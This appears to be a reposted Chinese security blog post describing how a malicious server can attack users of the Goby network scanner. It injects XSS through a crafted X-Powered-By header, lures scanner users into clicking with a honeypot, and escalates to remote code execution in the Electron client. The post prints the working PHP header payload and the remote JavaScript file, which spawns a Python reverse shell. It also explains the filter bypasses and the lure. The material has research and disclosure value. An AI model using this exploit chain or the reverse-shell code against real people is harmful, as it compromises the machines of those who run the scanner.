闲来无事,反制GOBY

admin 2021年12月22日18:58:55评论359 views字数 3020阅读10分4秒阅读模式

闲来无事,反制GOBY

0x00 前言

最近事情比较多一直没有沉下心来做个啥玩意出来,写文章,太浅了不好意思发,太深了涉及利益又不能发,思来想去,搞点反制玩玩吧。老早就想搞搞反制,之前想搞awvs,但是看了几秒钟发现太难了就没继续了,下午想试试goby吧。

0x01 大致看看

大家都知道我没有windows,所以我的goby也是mac版本,特意更新到最新版本如下图:

闲来无事,反制GOBY

接下来先踩踩点,打开/Applications/Goby.app,众所周知app就是一个文件夹,所以我们在终端进入到文件夹


闲来无事,反制GOBY

因为是electron开发的,所以这里有个app.asar,这个玩意可以直接解出js代码 asar e app.asar builddist 解出来的js代码就在builddist目录里了。我们进入到这个目录随便看看

闲来无事,反制GOBY


随便搜一搜,比如搜exec

闲来无事,反制GOBY


搜搜execSync

闲来无事,反制GOBY


这个scan.js

闲来无事,反制GOBY

可以看到做了一些简单的混淆 不过无所谓,我懒得看,关掉它 看看那个render.js


闲来无事,反制GOBY

可以看到是一个有90000行的js文件,里面主要的渲染页面啥的都在这里,我看不懂,但我很震撼。

接下来怎么办?

无所谓,关掉它。


0x02 跟着感觉走吧

上面大概搜了搜,感觉告诉我可以放一放,直接命令注入是不好弄的,那么走xss这条路行不行?答案是可以的。我们随便搭建一个http让goby扫一下看看整体交互展示:

闲来无事,反制GOBY


闲来无事,反制GOBY


可以看到这扫描首页几乎所有的信息都是固定的,要么不可控,要么就是字典写死的,想要在这里直接xss有点难度,那么详情页面如何?我们点击上图的红圈,跳到单ip详情页面。

闲来无事,反制GOBY

可以看到上图我圈中的地方,他展示了一个php的版本信息,php这个vendor是写死的,那么后面的版本号呢?我们做做实验


闲来无事,反制GOBY

我们把返回的header改一改,版本号的地方插入一个h1标签,重复上面的扫描再看看。启动php的httpserver,扫描完毕后进入详情页面:


闲来无事,反制GOBY

闲来无事,反制GOBY

这里可以看到,字体变大了,这直接说明了可以插入一些标签,运气好的话直接XSS,我试过script标签似乎无效,所以我改成了img标签。


闲来无事,反制GOBY

这里我插入了<img src="x" onerror="alert(1);">

闲来无事,反制GOBY

真奇怪没生效,我点击这个方框,跳到下面这个页面

闲来无事,反制GOBY


这里透露了一些信息,似乎是被截断了,感觉告诉我是空格,于是我把空格替换成了tab,再试一下

闲来无事,反制GOBY


闲来无事,反制GOBY

成了,XSS了。

可是这里有个问题,就是一个jb小子必须点到详情里才能触发XSS,那么我们怎么让他大概率点进来呢?很简单,我们把我们的服务器做成蜜罐,做成靶机,让他一扫描我们的服务器就能看到一大堆漏洞,端口开放的最多,漏洞最多,我们的ip就会排在首页的第一,是个人都会点进来,甚至都不会等到扫描完毕!然后我这里也把服务器特地加载80端口进行返回,因为80端口很常规也很小,详情排序里也是排第一,所以点进去就会xss避免其他意外。


0x03 XSS到RCE


既然有了XSS又同时是electron那么我们很容易想到以前的蚁剑XSS到RCE,可以看看这个(https://www.uedbox.com/post/54188/) 很显然的使用:

require('child_process').exec('xxxxxxx');

应该就可以直接rce了。但实际上并不行,经过了N次的测试,归纳一下主要是有什么问题:

  1. 过滤了空格,标签里可以用tab来规避但是js代码里并不太行
  2. 大写字母全部转换成小写,因此任何方法有大写字母的一律不行
  3. 冒号也会截断
  4. '-'也不行 大写字母和空格的问题直接导致了常规的空格替代方案都不太行,比如:
${IFS} //不行,IFS必须大写,小写不生效
{'ls','-a'} //这个形式看起来应该可以,但是不知道为什么不成功

当然在exec里我尝试了很多,不止上面这些,有些不太记得了就不说了。这里我陷入了一个误区,命令注入逃逸习惯了后一直纠结如何在exec里逃逸,却忘了我能插入js代码,因此下面这个形式一开始我以为应该就可以了

闲来无事,反制GOBY

然而试了不行,仔细一看,草,execFile,又一个大写。

最后想起来可以引入远程js的形式来操作。

那么最后就变成了这样:


  1. goby扫描我
  2. php的服务返回一个header插入xss引用远程js文件
  3. 远程js文件里插入完整的执行代码
  4. jb小子点击详情触发xss,最后rce

思路整理完了,然后就是构造了 php的index.php文件内容如下

<?php
header("X-Powered-By: PHP/<img  src="x"       onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
?>

这里用%3A的转换来代替冒号,是Camaro师傅教我的(原谅我太垃圾),准备好完整的test2.js文件如下:

(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'');
})();

这里弹了一个计算器又弹了一个py反弹shell到本地的9999端口,最后在9999端口用nc监听即可,这里还有个小坑点就是js文件在goby客户端的chrome里如果同名只会第一次去请求后面就缓存起来了,在测试的时候如果反复改js文件却发现没有效果,没想到缓存的话可能会自闭。现在我们启动php服务

sudo php -S 127.0.0.1:80 -F index.php

打开goby开始扫描->IP详情->XSS->RCE 完成了。

闲来无事,反制GOBY


0x04 反思和总结

其实我从打开goby到XSS大概就花了半小时,主要时间花费在规避一些过滤和小细节问题上。群友也帮了我很多,学到了很多shell下规避空格等限制的技巧,还是蛮牛逼的就不在这里写了。其次我想说的是,很多人找漏洞,思路可能不清晰,就比如我开头写的从js文件里看,如果换成普通人可能就拼命审计,又臭又长,花费了很长时间看可能也挖不到一个洞。那么为什么我当机立断转到黑盒呢?原因很简单,我们能想象到的反制RCE,无非就两个,一个是命令注入,一个就是XSS到RCE。我打开js代码随便搜了一下exec,第一时间感觉没多少地方可以碰到,就立马放弃。思路直接转到XSS上,那么在哪里找XSS呢?很简单,打开页面跟着交互走,哪里出现我可能可以控制的内容就去测试哪里。所以很快的我就找到了XSS的点,接下来就是RCE的事情了。我相信大家看完后仔细挖掘一下,还有很多可能性,我这个是1click,就直接放出来了,大家照着这个思路去挖掘,很快r1就要加班啦~ (我已经想到更多的点了)




欢迎各位扫码加入我的知识星球《赛博回忆录》,我会在星球里分享更多有趣的技巧和随想。

闲来无事,反制GOBY


本文始发于微信公众号(赛博回忆录):闲来无事,反制GOBY

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月22日18:58:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   闲来无事,反制GOBYhttps://cn-sec.com/archives/456695.html

发表评论

匿名网友 填写信息